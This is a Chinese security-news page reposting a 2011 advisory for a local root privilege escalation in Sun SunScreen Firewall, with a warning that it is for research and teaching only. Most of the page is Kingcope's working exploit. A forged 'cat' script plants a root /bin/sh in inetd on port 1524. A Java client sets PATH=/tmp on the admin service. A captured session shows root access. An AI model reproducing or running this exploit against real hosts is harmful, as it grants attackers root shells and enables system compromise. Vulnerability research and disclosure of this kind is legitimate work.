Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Sun SunScreen Firewall本地权限提升漏洞

发布日期:2011-01-23
更新日期:2011-01-25受影响系统:
Sun SunScreen Firewall
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 45963SunScreen Firewall是Sun Microsystem的运行在Solaris操作系统下的防火墙。SunScreen Firewall在实现上存在安全漏洞,本地攻击者可利用此漏洞以root权限执行任意命令。<*来源:Kingcope (kingcope@gmx.net)
  *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!/*Sun Microsystems SunScreen Firewall Root Exploit
discovered & exploited by Kingcope
January 2011The SunScreen Firewall can be administrated remotely via a java protocol service
which is running on port 3858 on a SunOS machine.This Java Service contains numerous buffer overruns (2 of which I am aware of).
Furthermore it is possible to execute arbitrary code if an attacker manages
to upload a file onto the target system.As you can see in the following java exploit code the environment
is not properly sanitized prior to executing shell scripts as root,
thus one can use the LD technique to preload binaries or even easier
modify the PATH variable to forge the &#65533;cat&#65533; binary (which is executed by lib/screenname)
to be executed in a different place.This can be exploited locally - remotely especially if anonymous ftp uploads
are possible or any other file transfer protocol is activated. Uploading
a file via the line printer daemon might also be possible.This has been tested on a SunOS 5.9.The shell script to be forged as the &#65533;cat&#65533; binary..#!/bin/sh
echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;
/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x
echo "+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++"
#---upload above shell script to /PATH/cat
chmod a+x /PATH/cat
supply target and PATH envvar to exploitOpens a root shell on port 1524/tcp (ingreslock)
A successfull exploit looks like$ java SimpleClient&#65533;              ?       ??&#65533;?    &Connection accepted, no authentication&#65533;?     O
      +++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED Y
A+++$ telnet 192.168.2.3 1524
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is "^]".
# /bin/uname -a;
SunOS unknown 5.9 Generic_118558-34 sun4u sparc SUNW,Ultra-5_10
                                                               ^M: not found
                                                                            # /b
in/id;
uid=0(root) gid=1(other)
                        ^M: not found
                                     #*/    import java.net.*;
    import java.io.*;
    import java.util.*;
    import java.text.DateFormat;
    public class SimpleClient {
       
    public static void main(String args[]) {
       
    String str;    try {    Socket s1 = new Socket("192.168.2.3", 3853);    InputStream is = s1.getInputStream();    DataInputStream dis = new DataInputStream(is);    OutputStream s1out = s1.getOutputStream();
    DataOutputStream dos = new DataOutputStream(s1out);    dos.writeByte(1);
    dos.writeByte(0);
    dos.writeShort(0);
    dos.writeInt(0);
    dos.writeByte(3);
    dos.writeByte(0);
    dos.writeShort(2000);
    dos.writeShort(0);
    dos.writeShort(0);    dos.writeUTF("0xtest");
    dos.writeByte(3);
    dos.writeByte(1);
    dos.writeByte(1);
    dos.writeByte(1);
    dos.writeInt(3);
    dos.writeInt(0);
    dos.writeInt(0);
      
    dos.writeUTF("PATH=/tmp");
    dos.writeUTF("lib/screenname");    dos.writeUTF("admin1");
   
    str = dis.readLine();
    System.out.println(str);   
   
    str = dis.readLine();
    System.out.println(str);
   
    dis.close();
    dos.close();
    s1.close();
    } catch (ConnectException connExc) {
    System.err.println("Could not connect to the server.");
    } catch (IOException e) {
    // foo
    }
    }
    }建议:
--------------------------------------------------------------------------------
厂商补丁:Sun
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://sunsolve.sun.com/securityOracle Solaris远程CED日历管理服务后台程序漏洞Linux Kernel “dvb_ca_ioctl()”内存破坏漏洞相关资讯      Sun 
  • Sun 要 Google 为 Java 授权付 5   (04/26/2012 06:10:24)
  • 不落的太阳!体验一款源自Sun的开  (10/08/2011 06:15:11)
  • Sun前CEO:如果当年收购苹果 如今  (02/26/2011 16:53:30)
  • 谷歌将与Sun达成2800万美元的Java  (10/18/2011 09:37:43)
  • 分析Sun没落原因:高层重硬件轻软  (03/05/2011 06:35:45)
  • Sun被收购一年后:甲骨文是否成功  (02/14/2011 20:50:38)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经